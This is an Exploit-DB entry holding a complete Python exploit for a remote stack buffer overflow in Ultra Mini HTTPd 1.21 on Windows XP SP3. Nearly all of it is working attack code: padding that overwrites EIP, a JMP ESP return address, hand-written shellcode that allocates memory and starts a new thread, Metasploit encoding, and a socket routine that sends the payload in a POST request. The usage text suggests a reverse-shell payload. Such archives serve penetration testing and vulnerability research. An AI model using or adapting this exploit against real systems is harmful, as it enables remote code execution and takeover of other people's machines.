Ultra Mini HTTPd 1.21 - 'POST' Remote Stack Buffer Overflow (2)

EDB-ID:

31814


Author:

OJ Reeves

Type:

remote


Platform:

Windows

Date:

2014-02-22


#!/usr/bin/python
#
# Title: Mini HTTPD stack buffer overflow POST exploit
# Author: TheColonial
# Date: 20 Feb 2013
# Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html
# Vendor Homepage: http://www.picolix.jp/
# Version: 1.21
# Tested on: Windows XP Professional SP3
#
# Description:
# This is a slightly more weaponised version of the Mini HTTPD buffer overflow
# written by Sumit, located here: http://www.exploit-db.com/exploits/31736/
# I wrote this up because the existing version had a hard-coded payload and
# didn't work on any of my XP boxes.
#
# The instability of the existing is down to bad chars, and the parent thread
# killing off the child thread when the thing is still running. This exploit
# allocates memory in a safe area, copies the payload to it, creates a new
# thread which runs the payload and then suspends the current thread. The
# suspending of the thread forces the parent to kill it off rather than let
# it crash and potentially bring the process down.
#
# Run the script without arguments to see usage.

import struct, socket, sys, subprocess

# Helper function that reads the body of files off disk.
def file_content(path):
  with open(path, 'rb') as f:
    return f.read()

# Sent the payload in the correct format to the target host/port.
def pwn(host, port, payload):
  print "[*] Connecting to {0}:{1}...".format(host, port)
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  print "[*] Connected, sending payload {0} bytes...".format(len(payload))
  payload = "POST /{0} HTTP/1.1\r\nHost: {1}\r\n\r\n".format(payload, host)
  s.send(payload)
  s.shutdown
  s.close
  print "[+] Payload of {0} bytes sent, hopefully your shellcode executed.".format(len(payload))

# Create the part of the payload creates a thread to run the final payload in.
def create_payload_thread(final_payload_size):
  VirtualAlloc = struct.pack("<L", 0x7c809AE1)   # in kernel32
  CreateThread = struct.pack("<L", 0x7c8106c7)   # in kernel32
  SuspendThread = struct.pack("<L", 0x7c83974A)  # in kernel32

  payload  = ""
  payload += "\x83\xec\x02"   # add esp, 0x2 (aligns the stack)
  payload += "\x89\xe6"       # mov esi, esp
  payload += "\x83\xc6\x00"   # add esi, <some offset filled later>
  count_offset = len(payload) - 1

  # zero out ebx because we use zero a lot
  payload += "\x31\xdb"             # xor ebx,ebx

  # allocate some memory to store our shellcode in which is
  # away from the current active area and somewhere safe
  payload += "\x6a\x40"             # push 0x40
  payload += "\x68\x00\x30\x00\x00" # push 0x3000
  payload += "\x68\x00\x10\x00\x00" # push 0x1000
  payload += "\x53"                 # push ebx
  payload += "\xB8" + VirtualAlloc  # mov eax,<address>
  payload += "\xff\xd0"             # call eax

  # copy the payload over to the newly allocated area
  size_bin = struct.pack("<L", final_payload_size + 4)
  payload += "\xb9" + size_bin      # mov ecx,final_payload_size
  payload += "\x89\xc7"             # mov edi,eax
  payload += "\xf2\xa4"             # rep movsb

  # create the thread with a starting address pointing to the
  # allocated area of memory
  payload += "\x53"                 # push ebx
  payload += "\x53"                 # push ebx
  payload += "\x53"                 # push ebx
  payload += "\x50"                 # push eax
  payload += "\x53"                 # push ebx
  payload += "\x53"                 # push ebx
  payload += "\xB8" + CreateThread  # mov eax,<address>
  payload += "\xff\xd0"             # call eax

  # We call SuspendThread on the current thread, because this
  # forces the parent to kill it. The bonus here is that doing
  # so prevents the thread from dying and bringing the whole
  # process down.
  payload += "\x4b"                 # dec ebx
  payload += "\x4b"                 # dec ebx
  payload += "\x53"                 # push ebx
  payload += "\xB8" + SuspendThread # mov eax,<address>
  payload += "\xff\xd0"             # call eax
  payload += "\x90" * 4

  # fill in the correct offset so that we point ESI to the
  # right location at the start of the final payload
  size = len(payload) + final_payload_size % 4

  print "[*] Final stage is {0} bytes.".format(final_payload_size)

  offset = struct.pack("B", size)

  # write the value to the payload at the right location and return
  return payload[0:count_offset] + offset + payload[count_offset+1:len(payload)]

# Creates the first stage of the exploit which overwrite EIP to get control.
def create_stage1():
  eip_offset = 5412
  jmp_esp = struct.pack("<L", 0x7e4456F7) # JMP ESP in advapi32

  eip_offset2 = eip_offset + 4

  payload  = ""
  payload += "A" * eip_offset    # padding to reach EIP overwrite
  payload += jmp_esp             # address to overwrite IP with
  payload += "\x90"              # alignment
  payload += "\x83\xEC\x21"      # rejig ESP
  return payload

# Create encoded shellcode from the given payload.
def create_encoded_shellcode(payload):
  print "[*] Input payload of {0} bytes received. Encoding...".format(len(payload))
  params = ['msfencode', '-e', 'x86/opt_sub', '-t', 'raw',
      'BufferRegister=ESP', 'BufferOffset=42', 'ValidCharSet=filepath']
  encode = subprocess.Popen(params, stdout = subprocess.PIPE, stdin = subprocess.PIPE)
  shellcode, _ = encode.communicate(payload)
  print "[*] Shellcode of {0} bytes generated.".format(len(shellcode))
  return shellcode

print ""
print "MiniHTTPd 1.21 exploit for WinXP SP3 - by TheColonial"
print "-----------------------------------------------------"
print ""
print " Note: msfencode must be in the path and Metasploit must be up to date."

if len(sys.argv) != 4:
  print ""
  print " Usage: {0} <host> <port> <payloadfile>".format(sys.argv[0])
  print ""
  print "          host : IP/name of the target host."
  print "          port : Port that the target is running on."
  print "   payloadfile : A file with the raw payload that is to be run."
  print "                 This should be the raw, non-encoded output of"
  print "                 a call to msfpayload"
  print ""
  print "   eg. {0} 192.168.1.1 80 reverse_shell_raw.bin"
  print ""
else:
  print ""
  print "   Make sure you have your listeners running!"
  print ""

  host = sys.argv[1]
  port = int(sys.argv[2])
  payload_file = sys.argv[3]
  stage1 = create_stage1()
  final_stage = file_content(payload_file)
  thread_payload = create_payload_thread(len(final_stage))
  shellcode = create_encoded_shellcode(thread_payload + final_stage)
  padding = "A" * 0x10
  pwn(host, port, stage1 + shellcode + padding)